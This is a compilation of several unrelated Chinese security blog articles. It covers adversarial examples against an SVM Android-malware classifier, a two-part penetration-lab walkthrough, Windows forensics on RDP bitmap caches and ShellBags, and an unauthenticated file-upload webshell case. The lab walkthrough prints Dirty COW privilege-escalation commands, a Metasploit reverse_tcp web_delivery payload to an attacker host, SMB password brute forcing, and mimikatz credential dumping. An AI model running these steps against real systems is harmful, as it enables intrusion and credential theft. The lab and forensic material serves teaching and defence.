从上图可以看到与之前相反的结果,大多数特征具有正相关的值,这意味着,出现了这些正相关的特征,则样本极有可能是恶意的。
前面我们在检查数据的时候已经知道,这批样本共有1227080个特征。而从此处的结果可以看到,打印出的前10个特征已经占据了50%左右的相关性了,说明该机器学习模型倾向于将大部分权重分配给一组小的特征。
如果攻击者发现了这一点,这时候只需稍微改动恶意样本中正相关性较大的特征,就能欺骗模型将其分类为良性样本。当然实际中不需要手动去修改,我们还有对抗样本的技术,可以自动修改特征来欺骗分类器。
我们这里使用带线性搜索的投影梯度下降技术来创建可以对抗检测安卓恶意软件的SVM分类器的对抗样本。这里需要注意,和图片不同,在生成图片的对抗样本时,基本是不受约束的,图片不论怎么修改,还是一张图片。但是对于程序来说,添加或者删除某些特征,可能程序就不可用了。比如我们在一个恶意程序上做对抗样本,如果改动幅度过大,可能生成的对抗 样本确实被分类器认为是良性的,但是该对抗样本可能已经失效的,即无法执行恶意行为,那么就失去了对抗样本的意义。
我们的经验就是一般不要轻易删除某些特征,尤其是不要删除manifest组件,因为容易破坏程序的功能。相对地,添加特征更安全一些,比如添加权限就不会影响任何现有功能。
我们来设置攻击参数:
这里主要关注distance和y_target。
distance我们设为l1,因为每个特征是一个布尔变量(0或1),我们希望在一次迭代时只改变一个特征(从0到1,或者从1到0)。
y_target设为0,是希望生成的对抗样本被归类为良性。(这里我们指定了攻击目标,在对抗样本中称为定向攻击)
接着发动攻击:
该类定义如下:
画出攻击后的情况:
从图中可以看到,在改变了不到10个特征之后,恶意样本的检出率就低于50%了,证实了对抗样本攻击的有效性。
相关课程:《https://www.yijinglab.com/cour.do?w=1&c=CCIDaa5a-85bb-4c6d-90fa-d61c89e7a81c
(学习如何将机器学习与网络安全结合起来,使用机器学习来辅助网络安全问题的解决。)
0x06参考
1.https://zh.wikipedia.org/wiki/%E6%94%AF%E6%8C%81%E5%90%91%E9%87%8F%E6%9C%BA
2.Not just a blackbox: Learning important features through propagating activation differences
3.Explaining Black-box Android Malware Detection
4.Is Deep Learning Safe for Robot Vision?Adversarial Examples against the iCub Humanoid
5.Yes, Machine Learning Can Be More Secure!A Case Study on Android Malware Detection
6.《机器学习》、《深度学习》
记一次内网靶场实战(下篇)
(接上篇)
绕过disable_functions
但是这里命令执行返回的是127,应该是disable_functions禁用了命令执行的函数,在windows下绕过disable_functions的方法虽然很少,但是在linux里面绕过disable_functions的方法却有很多,这里就不展开说了
这里为了方便我直接使用的是蚁剑里自带的插件绕过disable_functions,可以看到已经上传脚本操作成功了
这里我直接去连接上传的这个.antproxy.php,这里理论上是应该用原来的密码连接过去就可以执行命令了,但是这和地方不知道为什么返回数据为空我淦!
这里只好用最原始的方法,上传一个绕过disable_functions的py,通过传参的方式执行系统命令
测试一下传参为whoami,可以看到这里是一个低权限www-data
ifconfig看一下网卡情况,这里很奇怪,因为之前我们在扫描的时候这台CentOS的ip应该是192.168.1.0/24这个网段的,但是这里ifconfig出来却是192.168.53.0/24这个网段,当时说实话有点懵
arp -a查看下路由表,可以看到都是192.168.93.0/24这个网段
再看一下端口的进出,发现都是93这个网段
interfaces中配置的静态网卡也是93这个网段
Nginx反向代理
那么到这里已经很明显了,也就是说我们之前拿到的那台linux的192.168.1.0/24这个网段相当于一个公网IP,但是真正的主机应该是192.168.93.0/24,但这个是一个内网网段,所以说最符合这种情况的就是nginx反向代理
因为之前nginx反代的情况基本没遇到过,所以这里顺带补充一下自己的盲区
何为代理
在Java设计模式中,代理模式是这样定义的:给某个对象提供一个代理对象,并由代理对象控制原对象的引用。
可能大家不太明白这句话,在举一个现实生活中的例子:比如我们要买一间二手房,虽然我们可以自己去找房源,但是这太花费时间精力了,而且房屋质量检测以及房屋过户等一系列手续也都得我们去办,再说现在这个社会,等我们找到房源,说不定房子都已经涨价了,那么怎么办呢?最简单快捷的方法就是找二手房中介公司(为什么?别人那里房源多啊),于是我们就委托中介公司来给我找合适的房子,以及后续的质量检测过户等操作,我们只需要选好自己想要的房子,然后交钱就行了。
代理简单来说,就是如果我们想做什么,但又不想直接去做,那么这时候就找另外一个人帮我们去做。那么这个例子里面的中介公司就是给我们做代理服务的,我们委托中介公司帮我们找房子。
何为反向代理
反向代理和正向代理的区别就是:正向代理代理客户端,反向代理代理服务器。
反向代理,其实客户端对代理是无感知的,因为客户端不需要任何配置就可以访问,我们只需要将请求发送到反向代理服务器,由反向代理服务器去选择目标服务器获取数据后,在返回给客户端,此时反向代理服务器和目标服务器对外就是一个服务器,暴露的是代理服务器地址,隐藏了真实服务器IP地址。
反向代理的好处
那么为什么要用到反向代理呢,原因有以下几点:
1、保护了真实的web服务器,web服务器对外不可见,外网只能看到反向代理服务器,而反向代理服务器上并没有真实数据,因此,保证了web服务器的资源安全
2、反向代理为基础产生了动静资源分离以及负载均衡的方式,减轻web服务器的负担,加速了对网站访问速度(动静资源分离和负载均衡会以后说)
3、节约了有限的IP地址资源,企业内所有的网站共享一个在internet中注册的IP地址,这些服务器分配私有地址,采用虚拟主机的方式对外提供服务
了解了反向代理之后,我们再具体的去探究一下Nginx反向代理的实现
1、模拟n个http服务器作为目标主机用作测试,简单的使用2个tomcat实例模拟两台http服务器,分别将tomcat的端口改为8081和8082
2、配置IP域名
192.168.72.49 8081.max.com
192.168.72.49 8082.max.com
3、配置nginx.conf
upstream tomcatserver1 {
server 192.168.72.49:8081;
}
upstream tomcatserver2 {
server 192.168.72.49:8082;
}
server {
listen 80;
server_name 8081.max.com;
#charset koi8-r;
#access_log logs/host.access.log main;
location / {
proxy_pass http://tomcatserver1;
index index.html index.htm;
}
}
server {
listen 80;
server_name 8082.max.com;
#charset koi8-r;
#access_log logs/host.access.log main;
location / {
proxy_pass http://tomcatserver2;
index index.html index.htm;
}
}
流程: 1)浏览器访问8081.max.com,通过本地host文件域名解析,找到192.168.72.49服务器(安装nginx) 2)nginx反向代理接受客户机请求,找到server_name为8081.max.com的server节点,根据proxy_pass对应的http路径,将请求转发到upstream tomcatserver1上,即端口号为8081的tomcat服务器。
那么这里很明显还有一台linux主机在整个拓扑内做为内网Ubuntu的反向代理主机,这时候我翻缓存文件夹的时候发现了一个mysql文件夹,跟进去看看
发现了一个test.txt,不会又是管理员忘记删了的账号密码吧(手动狗头)
因为之前我们扫端口的时候发现开了22端口,那么这个账号密码很可能就是ssh的帐号密码
使用ssh连接尝试
连接成功到了另外一台linux主机
看一下主机和ip情况,可以发现这台主机已经不是我们之前的那台Ubuntu了,而是CentOS,而且双网卡,一张网卡是我们之前扫描时候得出的1.0/24这个网段的ip,还有一个ip就是93.0/24这个内网网段的ip,那么这台linux主机就是Ubuntu的反向代理主机无疑了
脏牛提权
这里直接选择linux提权首选的脏牛进行提权
gcc -pthread dirty.c -o dirty -lcrypt //编译dirty.c
./dirty 123456 //创建一个高权限用户,密码为123456
可以看到这里已经执行成功,脏牛执行成功过后会自动生成一个名为firefart的高权限用户,密码就是我们刚才设置的123456
这里我们切换到firefart用户进行查看
内网渗透
centos上线msf
这里因为是linux的原因,就不使用cs上线的打法了,先生成一个linux的payload上线到msf
use exploit/multi/script/web_delivery
set lhost 192.168.1.10
set lport 4444
set target 7
run
运行之后会给出一个payload
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.10
set lport 4444
exploit
将payload复制到centos执行
可以看到反弹session已经成功
socks代理进入内网扫描
这里使用添加路由、使用socks_proxy模块进入内网
route add 192.168.93.0 255.255.255.0 1
route print
use auxiliary/server/socks_proxy
set version 4a
run
然后在/etc/proxychain.conf文件中添加代理的ip和端口,这里一定要和设置里的对应
这里可以使用proxychain + nmap进行扫描,这里为了方便我就直接使用msf中的模块对192.168.93.0/24这个网段进行扫描了。注意这里在实战的时候可以适当把线程调小一点,不然流量会很大,这里因为是靶场的原因我就直接调成了20
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.1-255
set threads 20
run
这里扫描完之后可以发现,内网里有3台主机存活,分别是192.168.93.10 192.168.93.20 192.168.93.30
但是这时候信息还不够,调用nmap继续扫描详细信息
nmap -T4 -sC -sV 192.168.93.10 192.168.93.20 192.168.93.30
首先是10这台主机,可以看到开放了88跟389这两个端口,熟悉的师傅都应该知道这两个端口大概率锁定了这台主机就是域控
20这台主机开的都是几个常规端口,值得注意的就是1433端口,意味着20这台主机上有mssql服务
30这台主机也是开了几个常规端口,跟前面两台主机相比就没什么特征端口,应该是一个普通的域成员主机
永恒之蓝尝试
这里我发现三台主机都开了139、445端口,那么先使用永恒之蓝模块先批量扫描一波看有没有可以直接用永恒之蓝打下来的主机
这里没有能够直接用永恒之蓝拿下的主机,win7跟2008匿名管道都没有开所以利用不了
密码枚举
因为这三台主机都开了445端口,可以使用smb,使用msf中的smb_login模块进行密码枚举尝试
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set SMBUser Administrator
set PASS_FILE /tmp/1W.txt
run
这里很幸运,跑出来的密码是123qwe!ASD刚好在我的1W.txt这个字典里面
psexec横向移动
这里使用proxifier将msf的socks代理到本地,忘记截图了orz...
这里既然已经拿到了administrator的密码,使用ipc先连接到20这一台主机,使用copy命令将mimikatz拷贝到20这台主机上
然后使用psexec获取一个cmd环境,使用mimikatz抓取hash并保存为日志
psexec64.exe \\192.168.93.20 cmd
mimiKatz.exe log privilege::debug sekurlsa::logonpasswords
type mimikatz.log读取日志内容可以发现域管的帐号密码为Administrator zxcASDqw123!!
那么这里也直接使用ipc连接直接连接10这台主机,即TEST这个域的域控,可以看到已经连接成功了
使用命令查看机密文件
dir \\192.168.93.10\C$\users\Administrator\Documents
type \\192.168.93.10\C$\users\Administrator\Documents\flag.txt
记一次内网靶场实战(上篇)
前言
本环境为黑盒测试,在不提供虚拟机帐号密码的情况下进行黑盒测试拿到域控里面的flag。
环境搭建
内网网段:192.168.93.0/24
外网网段:192.168.1.0/24
攻击机:
kali:192.168.1.10
靶场:
CentOS(内):192.168.93.100
CentOS(外):192.168.1.110
Ubuntu:192.168.93.120
域内主机:
Winserver2012:192.168.93.10
Winserver2008:192.168.93.20
Windows7:192.168.93.30
其中CentOS可以外网、内网通信,域内主机只能内网之间进行通信
kali跟CentOS能够ping通

拓扑图如下:
内网信息搜集
nmap探测端口
nmap先探测一下出网机即CentOS的端口情况。可以看到开了22、80、3306端口,初步判断开了web,ssh,数据库应该为MySQL
nmap -T4 -sC -sV 192.168.1.110
这里首先访问下80端口,发现为joomla框架,joomla框架在3.4.6及以下版本是有一个远程rce漏洞的,这里先使用exp直接去打一下
这里看到exp打过去不能够利用那么应该是joomla的版本比较高
这里使用端口扫描软件扫一下后台的文件发现一个管理员的界面
是joomla的后台登录界面,这里尝试使用bp弱口令爆破了一下,无果,只好放弃
这里使用dirsearch进一步进行扫描,发现了一个configuration.php
看一下这个php的内容发现有一个user跟password,联想到开了3306这个端口,猜测这可能是管理员备份的数据库密码忘记删除了
连接mysql
这里使用navicat尝试连接一下靶机的数据库
可以看到连接成功了
然后就是翻数据找管理员的帐号了,找管理员帐号肯定是找带有user字段跟password字段的,这里我找了一段时间,最后发现umnbt_users这个表跟管理员帐号最相似,但是这里出现了一个问题,我发现password这个地方的密码不是明文
这里试着把密文拿去解密发现解密失败
在搜索的时候发现joomla官网虽然没有直接公布密码的加密方式,但是它为了防止用户忘记密码增加了一个添加超级管理员用户的方式,就是通过登录数据库执行sql语句达到新建超级管理员的效果
这里我们可以发现sql语句中的VALUES中的第三项为密文,这里我们为了方便就是用他给我们的这一串密文,这里对应的密码为secret,当然也可以用其他对应的密文如下所示
在navicat中执行sql语句,注意这里要分开执行两个INSERT INTO否则回报错,这里相当于我们添加了一个admin2 secret这个新的超级管理员用户
登录joomla后台
使用admin2 secret登录joomla后台
登录成功,进入后台后的操作一般都是找可以上传文件的地方上传图片马或者找一个能够写入sql语句的地方
这里经过谷歌后发现,joomla的后台有一个模板的编辑处可以写入文件,这里找到Extensions->Template->Templates
这里选择Beez3这个模板进入编辑
这里因为模板前面有<?php前缀,所以这里我们需要将一句话木马稍微变形一下,然后保存即可
这里使用蚁剑连接成功
(后续见下篇)
Windows 取证之BMChache
0x0、概述
BMChache全称RDP Bitmap Chache,即RDP(远程桌面协议)位图缓存。是Windows为了加速RDP连接时的显示,减少数据量的传输,改善RDP连接体验的一种缓存机制。
0x1、什么是RDP Bitmap Chache
Remote Desktop Protocol(RDP)是微软从Windows NT 4.0开始为了用户能使用图形界面通过网络远程方式连接到另外一台计算机而开发的专有协议。
当年因为是拨号上网,网络带宽很低,便开发了Bitmap Chache这种技术,为了增强用户体验,降低带宽延迟,RDP连接后,会将显示的图像在客户端以位图的形式缓存下来,RDP会话会重用这些图像进行显示,而不是时刻都使用网络进行完整图像传输,而是只传输改变的部分,从而减少了延迟。虽然现在网络带宽已经得到很大的提升,但这一技术特性依然还是被保留了下来。
BMChache分为两种类型,一种是Bitmap Chaces(位图缓存),一种是Persisten Bitmap Chaches(持久位图缓存)。Persistent Bitmap Chaches是从Windows 2000的RDP 5.0版本开始引入的技术。区别在于,前一种是临时缓存,与RDP会话生命周期绑定,后一种是持久化的缓存,不受到RDP会话生命周期的限制,即使会话结束后,内容依然会持久化的存在于文件中。
位图缓存选项可以由用户配置是否开启,可以打开远程桌面连接程序查看:
需要注意的是,位图缓存只存在与远程连接的客户端系统中,而不是服务端系统中。
在Windows xp中的存储位置位于:%USERPROFILE%\Local Settings\Application Data\Microsoft\Terminal Server Client\Cache\路径中:
其文件名组成是“bchache + 图像位深度 + .bmc后缀”,其中的数字表示位图的质量,如果是bchache2.bmc表示是图像的位深度是8bit,bcache22.bmc表示图像的位深度是16bit,bcache24.bmc表示存储的图像位深度是32bit,单位是bpp(bits per pixel)。在Windows XP等老系统中,bchache**.bmc文件的最大大小是20MB。
在Windows 7及更高版本系统中,其文件存储在 :%USERPROFILE%\AppData\Local\Microsoft\Terminal Server Client\Cache\路径中:
包括两种类型,一种是bcache**.bmc,一种是Cache****.bin。bchache**.bmc用于老旧的系统,而Cache****.bin文件用于Windows 7及更高版本的系统。Cache****.bin文件大小最高可以达到100MB,当超过100MB,会新增一个文件,文件名中的数值从0000开始递增。(如:Cache0001.bin、Cache0002.bin),与.bmc文件支持8bpp到32bpp位深度图像不同,.bin文件的图像位深度是固定的32bpp。
0x2、Bitmap Chache文件结构
.bmc文件结构:
.bmc文件并没有固定的头部标识,但它是由一张张BMP图像组成的文件,每个单独的区块文件头信息组成如下:
前八个字节(83 8F 42 86 6E C8 EF B3)是图像的哈希值,接下来的两个字节(40 00)是图像的宽度,然后两个字节(40 00)是图像的高度,然后四个字节(00 20 00 00)表示图像的大小(单位是字节),接下来的四个字节(11 00 00 00)表示图像的特定参数(是否压缩)。总共占用20个字节。
以这里的bchache22.bmc为例,每个区块的图像宽高都是0x40,也就是64x64大小的图像,其图像的位深度是16 bit,说明每个像素需要2个字节来存储。那一个区块的图像总大小为 :64x64x2=8192 bytes,如果是24bpp则占用12288 bytes,32bpp占用16384 bytes。
.bin文件结构:
.bin文件有固定的文件头标识,以字符串RDP8bmp开头,占用8个字节,后面四个字节为版本号,共十二个字节。
然后是每个区块图像的文件头:
其中前八个字节(35 CE 5E 97 15 DA 7E E9)是区块图像的哈希值,然后两个字节(40 00)是图像的宽度,然后两个字节是图像的高度(40 00)。与之前的.bmc存储不同,.bin中的每个区块图像的位深度都是32bpp,每个区块图像占用16384 bytes。
我们可以参考bmp的文件结构组成,添加其文件头信息,手动构建bmp文件,把文件导出来:
关于bmp文件的格式可以参考 https://en.wikipedia.org/wiki/BMP_file_format#Pixel_storage
0x3、RDP BitMap Chache在取证中的意义
在前面,我们已经说明了,RDP BMChache只存在于客户端,如果攻击者在横行移动攻击中,使用了跳板机RDP远程连接了目标机器进行了某些操作,取证人员就可以在跳板机上分析BMChache文件进行取证。
我们做一个简单的演示,这里使用远程桌面连接一台远程机器,执行一些操作:
然后我们使用工具BMC Viewer查看一下BMC文件的内容:
可以看到缓存的位图图像中,有我们执行操作的部分内容的图像。点击每个区块的内容,会显示区块的文件头内容,可以根据这个导出图像.
0x4、取证实践
攻击者通过某些手段已经入侵并拿到了GOT公司职员Little Finger的电脑控制权,攻击者在这台电脑上使用了GOT\varys-adm域管理员凭证连接到了域控服务器,攻击者利用这台电脑作为入口点对组织进行横向渗透。
提供给我们的取证资料包括Little Finger计算机的Windows日志和littlefinger用户配置文件。我们需要找出Varys-adm的密码。
通过获取的日志可以发现登录的记录:
在littlefinger用户的配置相关文件中找到了RDP Bitmap Chache文件:
我们使用工具对Cache0000.bin进行解析,这里使用bmc-tools.py工具(下载地址:https://github.com/ANSSI-FR/bmc-tools)。
查看解析出来的图像:
通过查看这些图像,发现了保存GOT\varys-adm密码的信息:
从解析的缓存图像分析,域管理员可能是使用了Windows 10的便签功能把密码贴在桌面上了。
至此我们通过BMChache找出了密码信息,用户名:GOT\varys-adm,密码:Uncutedition1@#
参考资料:
[MS-RDPEGDI]: Bitmap Caches | Microsoft Docs:https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpegdi/2bf92588-42bd-4527-8b3e-b90c56e292d2
BMP file format - Wikipedia https://en.wikipedia.org/wiki/BMP_file_format
管理工具和登录类型参考 - Windows Server | Microsoft Docs https://docs.microsoft.com/zh-cn/windows-server/identity/securing-privileged-access/reference-tools-logon-types
一次从 APP 逆向到 Getshell 的过程
0x00 前言
话说夏天的某个早晨,笔者突然从梦中惊醒,耳边就直接传来一段低语:
炎炎夏日宅在家无聊?不如 (跟我一起做复读机,复制这段话再发出去,每天收入0元,我和身边的朋友都在做,反正闲着也是闲着。吃饱了也是撑着,不如挨顿骂) 跟我一起挖个 CNVD 原创漏洞。反正闲着也是闲着,吃饱了也是撑着,不如找机会点缀下简历、丰富下经验 ~
听完之后忽觉一阵激灵,好久才回过神来:莫非这就是传说中的天降神谕?真所谓垂死病中惊坐起,老天叫我去挖洞啊!既然如此那还想什么,开冲开冲!!
0x01 开搞
众所周知,获取 cnvd 原创漏洞证明无非两种途径。一个是提交重要关基的事件型漏洞,另一个就是提交通用型漏洞。这里选择第二种方式。因为直觉告诉我大型关基的漏洞应该早就在各种攻防演练中被挖得差不多了,而自己人菜技拙,何德何能和众大佬争功?
于是构造一波 fofa 关键字——同理,常见的、比较有影响力的开源项目大多也被大佬们审计得差不多了,所以这里直接从 fofa 找案例,然后从案例反查厂商,运气好的话也能捡到个小通用。一番挑肥拣瘦后找到了个疑似的软柿子(厚码见谅):
界面比较朴实无华。之所以判断是个软柿子是因为简单测试下来发现目标存在目录遍历的低级问题:
对本人来说,一些低级问题的出现也可以看成衡量开发人员安全意识高低的一个指标。也就是说,这个站出现其他更严重安全漏洞的可能性比较大。于是既然锁定了目标,那么依照惯例,先简单判断了下网站的情况:
看了下登录页面的样式和 html 源码,代码风格放荡不羁,符合小厂商比较随性的作风,而且 upload 目录存在目录遍历,至少可以说明运维人员比较粗心大意,可能存在漏打补丁之类的情况(而且通常一些比较有安全意识的 cms 开发人员,都会热心地在 upload 、attachments 等目录下手动加上一个空白的 index.html 来避免因运维配置错误而产生的目录遍历。所以如果从这个角度来看,说连开发人员安全意识也不足也不为过)
Cookie 中 存在键名为 JSSESSION 的 Cookie、404页面显示web容器为tomcat8.5,可判断后端语言是Java。因此也可以尝试 Tomcat、Weblogic、 Jboss、shiro、fastjson 等容器、中间件和组件的漏洞。
简单看了下 js 等静态资源,没有发现可直接利用的注释或隐藏的接口等信息。但页面展示了该系统配套使用的一个 APP,后期或许可以从 APP 入手尝试挖掘一些 web 界面没有展示出来的接口
有了简单的判断和猜想之后,要做的就是逐个验证了。
既然目标站点后端语言为 Java,那么先上一波 shiro 的探测。毕竟就算 Tomcat 和 Weblogic 之类的可以直接打到,感觉也只能算是中间件的漏洞,而不是这个 web 系统本身的通用。
shiro 的探测这里用到的是 burpsuite 的一款被动探测插件 shiroscan , github 地址是 https://github.com/Daybr4ak/ShiroScan https://github.com/Daybr4ak/ShiroScan
插件安装好后,浏览测试页面,不足须臾,插件的 ShiroScan 的视图果然就给出了探测结果: shiro key scan unknown error:
瞧一眼插件的原始请求和服务器的响应,基本可以确认 shiro 应该是存在的了,出现这样的结果可能是插件内置的 shiro key 不够多。于是又不甘心地轮换了几个 shiro 的利用工具去测试,可惜结果都不如人意:
0x02 峰回路转
眼看 shiro 一把梭这条路是走不通了,又顺手测了测登录框的注入、Cookie的伪造等一些明面上能测的东西。最后还剩 fastjson 这个猜想还没有办法进一步验证了——因为就目前为止,系统暴露出来的功能除了一个登录,就再没有其他的了。更重要的是,即使只是这个登录页,其所提交的数据也不是 json 格式的,所以个人猜测这里存在 fastjson 漏洞的可能性比较低。于是挖掘的重点转向登录页挂着的配套 APP 上,希望至少可以从中挖出一些 web 界面没有展示出来的接口吧——当然,如果是未授权或者是存在 fastjson 漏洞的接口那就更好了。
说干就干。眼看饮茶时间又快到了,挖洞哪有喝茶重要。因此先不考虑 APP 加壳的问题,直接下载 APK,改后缀为 .zip 打开:
存在两个 dex 文件,这里也先不去探究哪个才是最要紧的了,总之两个都解压出来,分别改名为 xxx1.dex 和 xxx2.dex:
接着 dex2jar 伺候,得到 jar 包:
最后,jd-gui 打开,顺利得到源码,似乎可以捡漏逆袭:
得到源码后,全局搜索诸如 : ”username“、”password“、”host“、”hostname“ 、”domain“ 、”secretkey“、”publickey“、”upload“之类的字眼。因为经验告诉我,运气好的话可能可以直接得到一些可利用的硬编码信息或可未授权访问的敏感接口,比如:
显然,从图中代码不难看出,系统确实存在一个名为 appuploadfileservice/uploadfile 的接口,而且该接口在处理客户端提交数据前可能还没有任何身份校验机制。为了证明这个猜想,根据反编译得到的代码,在 burpsuite 中按下面推测大胆构造了请求:
first 和 offset 使用代码截图里的默认值就可以了;param 参数的作用未知;至于 file 参数,一个从请求的 querystring 获得,一个似乎从 POST 的数据 body 里获得——那么暂且认为 body 里的就是文件内容,则可以构造得到数据包为:
提交后返回 200 状态码,但是没有返回路径。难道是理解错误了?气氛一下子变得有点尴尬起来了。。。
不过好在,这种尴尬没持续多久,我又突然想起之前那个鸡肋的目录遍历。难道。。。?
于是怀着死马当活马医的信息再看一眼 upload 目录发现:
Bingo !
原来请求中的 param 的意义是指定保存的目录。那么,自然而然地最后的 shell 访问地址是:http://xxxxx/upload/test/test.jsp :
0x03 功败垂成
至此,一个未授权的任意文件上传漏洞算是挖掘完成了。然而,正当我准备放弃喝茶,打算打包提交 cnvd 混个原创证书时却尴尬地发现:
啊这、影响也太小了吧。。连 10 个互联网案例都凑不齐。。
还是提交事件吧、要脸。。。。
0x04 总结
要会搞 web ,但不能局限于只会搞 web ,因为 web 的突破口也有可能在其他地方。
渗透什么的还是要胆大心细,并且再鸡肋的漏洞也不能轻视,毕竟连一张厕纸、一条内裤都会又它自己的作用的。
下次挖通用前先查下产品使用率。。。
Windows 取证之ShellBags
Windows 取证之ShellBags 相关实验:https://www.yijinglab.com/expc.do?ec=ECID6a2f-ed6f-4f85-9363-731535a5c3c4
(了解常用的内存镜像取证工具的使用,包括Dumplt、FTK Imager、Belkasoft RAM Capture和Dump镜像内存提取工具。)
0x0、概述
ShellBags是一组用来记录文件夹(包括挂载网络驱动器文件夹和挂载设备的文件夹)的名称、大小、图标、视图、位置的注册表项,或称为BagMRU。每次对文件夹的操作,ShellBags的信息都会更新,而且包含时间戳信息。是Windows系统改善用户体验的功能之一。即使删除文件夹后,ShellBags仍然会保留文件夹的信息。因此可以用来揭示用户的活动。
0x1、ShellBags的用途和取证中的价值
微软从Windows 7开始引入ShellBags,虽然在Windows xp中也存在,但是其文件格式发生了很大的改变。并在后续的系统上一直使用。ShellBags用来保存用户浏览文件夹时的偏好信息,比如文件夹的排列方式,文件夹显示图标的大小等,比如将文件夹的显示方式从"大图标"模式改为"详细信息模式",ShellBags会立即创建或更新记录,当你打开、关闭或者右键单击、或者重命名文件夹时,也会创建或更新ShellBags记录。这意味着:
1、如果在Windows ShellBags记录了某个文件夹,那么表示它一定在某个时间出现过在该系统中,包括压缩文件在内的本地文件系统、网络位置和外接设备(如U盘、移动硬盘等)上的文件夹,即使它现在已经不存在了。
2、由于这些对文件夹的操作和查看首选项与该用户的注册表配置单元(registry hives)相关联。所以我们可以将特定用户和特定的文件夹相关联,甚至,还可以从ShellBags包含的MAC时间戳中获取文件夹的访问时间信息。
0x2、ShellBags的存储
在Windows XP中,存储在NTUSER.dat文件中,在系统注册表中的位置分别是:
- 记录网络路径文件夹访问的记录在:\Software\Microsoft\Windows\Shell
- 记录本地文件夹访问的记录在:\Software\Microsoft\Windows\ShellNoRoam
- 可移动存储器文件夹访问的记录在:\Software\Microsoft\Windows\StreamMRU
但是从Windows 7开始,已经发生了很大的变化,Windows 7新增了一个用户特定的注册表配置单元:USRCLASS.dat。这个配置单元支持新的用户访问控制(UAC)和强制访问控制完整性级别。它用于记录来自无权写入标准注册表配置单元的用户进程的配置信息。所以如果要获取完整的ShellBags信息,需要为每个用户解析NTUSER.dat 和 USRCLASS.dat这两个文件。这些文件可以在%userprofile%、%userprofile%\AppData\Local\Microsoft\Windows路径中找到。
具体的注册表位置为:
记录最近通过资源管理器访问的文件夹的信息:
USRCLASS.DAT:HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
USRCLASS.DAT:HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags
记录从桌面访问的文件夹信息:
NTUSER.DAT:HKCU\Software\Microsoft\Windows\Shell\BagMRU
NTUSER.DAT:HKCU\Software\Microsoft\Windows\Shell\Bags
还有其他一些注册表位置:(因为系统版本不同,可能有一些附加的注册表项目)
NTUSER.DAT:HKCU\Software\Microsoft\Windows\ShellNoRoam\BagMRU
NTUSER.DAT:HKCU\Software\Microsoft\Windows\ShellNoRoam\Bags
USRCLASS.DAT:HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\ShellNoRoam\BagMRU
USRCLASS.DAT:HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\ShellNoRoam\Bags
USRCLASS.DAT:HKCU\Software\Classes\Wow6432Node\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
USRCLASS.DAT:HKCU\Software\Classes\Wow6432Node\Local Settings\Software\Microsoft\Windows\Shell\Bags
可以发现ShellBags的数据主要存在两个注册表键值中,分别是BagMRU和Bags中。
BagMRU:用于记录文件夹名称和文件夹路径
Bags:记录文件夹的视图配置,比如窗口的大小,位置,排序方式等视图模式信息。
0x3、ShellBags的结构分析
当用户通过Windows资源管理器浏览文件系统的时,首次打开个文件夹时,系统会创建ShellBags条目。每个文件夹都有一个编号,编号从0开始记录。当打开子路径,会在相应的ShellBags条目右侧添加一个条目,并分配一个编号,编号每次递增1。
当用户对文件夹进行操作,ShellBag条目会立即更新。这意味着相应的注册表项最后修改时间可能也是最后操作文件夹的时间。
BagMRU键值:
ShellBags的根目录,它的子键包含了ShellBags子条目和子目录。由数字编号0,1,2...组成。
而他们的二进制类型的值项(value name)记录着文件夹的路径和文件夹的长短名称。因此,我们可以根据这个结构还原文件系统的目录结构。
我们可以通过Nirsoft的注册表修改监视工具和Shell bags view工具结合注册表查看其创建和变化过程。
首先在C盘下创建一个shellbagstest的文件夹
查看注册表修改:
在注册表中查看:
可以看到HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0键的值项"11"的内容记录了文件夹的名称,并与其子键"11"对应。
HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\11键的NodeSlot项值即为HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags键中的ID(Bags键的子健名称)。
还有一个MRUListEx,这个记录了上次访问了哪个文件夹。根据这个可以解析出文件夹的访问次序。当对应文件夹下没有子文件夹或者子文件夹未被访问过,其值为ff ff ff ff。
当我们进入这个文件夹并添加一个子文件夹后,再次查看注册表修改:
可以看到新增了多个键值项,MRUListEx也发生了变化。其中"1"为子文件夹"subdir"。而"0"是新建文件夹时候的"新建文件夹"。
关于MRUListEx值项
它是记录文件夹访问次序的,每4个字节记录一个文件夹的数字编号,新增访问记录,原记录往右边移。拿刚刚这个举例:
最左侧0x00000001表示最近访问过的是shellbagstest文件夹下数字序号为"1"的文件夹,也就是subdir这个文件夹。如果再增加一个文件夹subdir2:
MRUListEX的值则变成如下数值:
其父键的MRUListEX也会更新:
Bags键值:
Bags键值由数字命名的子健组成,每个子健的数字编号对应特定的文件夹。其下包含有一个Shell 的键用于存储与文件夹相关的视图配置信息,比如位置、大小、排序方式等。所以我们可以根据BagMRU键值获得特定文件夹在Bags键下对应的数字序号后, 即可Bags键中定位相应子键, 进而查看文件夹的视图配置信息。
比如刚刚我们创建的文件夹:
0x4、取证实战
案情:在之前的调查(Windows 取证之注册表)中,我们证明了Theon趁Podrick不在的时候把U盘(2020年2月3日下午12点15分-12点45分之间)插进了他的电脑。Podrick称他电脑的一些文件/文件夹发生的更改。他认为是Theon干的。Podrick希望我们帮忙找出是哪些文件发生了更改。主要关注桌面上被清空的Projects文件夹。
提交Projects文件夹被Theon重新创建的时间。
提供给我们的文件包括NTUSER.DAT 和 UsrClass.dat。
我们可以借助ShellBags解析工具,如Shell Bag Explorer:https://f001.backblazeb2.com/file/EricZimmermanTools/ShellBagsExplorer.zip
使用工具加载USRCLASS.DAT文件
找到Projects文件夹,可以看到文件夹的创建时间是12:41:26 ,这个时间点正好是Podrick不在电脑旁边的时间。结合之前的调查,即可确定这个时间就是文件夹重新创建的时间。
参考资料:
基于注册表中的ShellNo-Roam表键解析文件夹操作行为:http://www.xsjs-cifs.com/article/2014/1008-3650-39-3-42.html
